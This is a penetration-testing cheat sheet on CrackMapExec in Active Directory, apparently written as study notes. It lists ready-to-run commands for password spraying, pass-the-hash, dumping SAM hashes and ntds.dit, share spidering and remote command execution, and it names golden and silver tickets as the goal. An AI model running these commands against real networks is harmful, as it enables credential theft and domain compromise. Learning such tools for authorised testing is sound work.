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CrackMapExec

Once we have access to a domain, CrackMapExec (CME) will allow us to sweep the network and see which users and machines we can access to.

CME allows us to authenticate ourselves with the following protocols:

  • smb
  • ssh
  • mssql
  • ldap
  • winrm

The most used protocol is smb as port 445 is commonly open.

CME offers a help menu for each protocol (i.e., crackmapexec winrm -h).

Installation

sudo apt-get -y install crackmapexec

Basic usage

Main syntax

crackmapexec <protocol> <target-IP> -u <user or userlist> -p <password or passwordlist>

Main flags:

  • -u Username The user whose credentials we will use to authenticate
  • -p Password User's password
  • Target (IP or FQDN) Target host to enumerate (in our case, the Domain Controller)
  • --users Specifies to enumerate Domain Users
  • --groups Specifies to enumerate domain groups
  • --loggedon-users Attempts to enumerate what users are logged on to a target, if any

Access the machine

# Check if we can access a machine
crackmapexec smb $ip --local-auth -u <username> -p <password> -d <DOMAIN>

# Using a hash instead of a password, to authenticate ourselves: Pass the hash attack (PtH)
crackmapexec smb $ip -u <username> -H <hash> -d <DOMAIN>

Basic enumeration

# Enumerate active sessions
crackmapexec smb $ip --local-auth -u <username> -p <password> -d <DOMAIN> --sessions

# Obtain the password policy
crackmapexec smb $ip -u <username> -p <password> --pass-pol


# Spraying password with crackmapexec
crackmapexec smb $ip/23 -u /folder/userlist.txt -u administrator -H 88ad09182de639ccc6579eb0849751cf --local-auth --continue-on-success | grep +
# --continue-on-success:  continue spraying even after a valid password is found. Useful for spraying a single password against a large user list
# --local-auth:  if we are targetting a non-domain joined computer, we will need to use the option --local-auth. The --local-auth flag will tell the tool only to attempt to log in one time on each machine which removes any risk of account lockout.
# -H: hash

# Get sam: extract hashes from all users authenticated in the machine 
crackmapexec smb $ip -u <username> -p <password> -d <DOMAIN> --sam

# Get the ntds.dit, given that your user has permissions
crackmapexec smb $ip -u <username> -p <password> -d <DOMAIN> --ntds

# Check which machines we can access in a subnet
crackmapexec smb $ip/24 -u <username> -p <password> -d <DOMAIN>

# Enumerate logged on users in other hosts of the domain
crackmapexec smb $ip --local-auth -u <username> -p <password> -d <DOMAIN> --loggedon-users

# Enumerate users of the domain
sudo crackmapexec smb  $ip -u <username> -p <password> -d <DOMAIN> --users

crackmapexec smb $ip --local-auth -u <username> -p <password> -d <DOMAIN> --users

# Enumerate groups of the domain
crackmapexec smb $ip --local-auth -u <username> -p <password> -d <DOMAIN> --groups

Enumerate shares

# See shares
crackmapexec smb $ip --local-auth -u <username> -p <password> -d <DOMAIN> --shares

# The module spider_plus will dig through each readable share on the host and list all readable files. 
sudo crackmapexec smb  $ip --local-auth -u <username> -p <password> -d <DOMAIN> -M spider_plus --share 'NameOfShare'
# CME writes the results to a JSON file located at /tmp/cme_spider_plus/<ip of host>

RCE with crackmapexec

#  If the--exec-method is not defined, CrackMapExec will try to execute the atexec method, if it fails you can try to specify the --exec-method smbexec.
crackmapexec smb $ip -u Administrator -p '<password>' -x 'whoami' --exec-method smbexec

Basic technique

Once we have access to a domain:

  1. Enumerate users and machines in our machine: we will have all users registered and their hashes.

  2. See if any user is in another machine of the domain. Also check if they have admin access.

  3. Goal would be to dump ntds.dit.

With krbtgt and DC$ user you can get a golden ticket. And with DC$ a silver ticket.

What is a SAM hash like?

Take the Administrator one:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Basically, it has 4 parts: 

                user : id: LM-authentication : NTLM

For the purpose of using the hash with CrackMapExec, we will user the NTLM part.

Last update: 2024-11-17
Created: July 13, 2023 15:55:29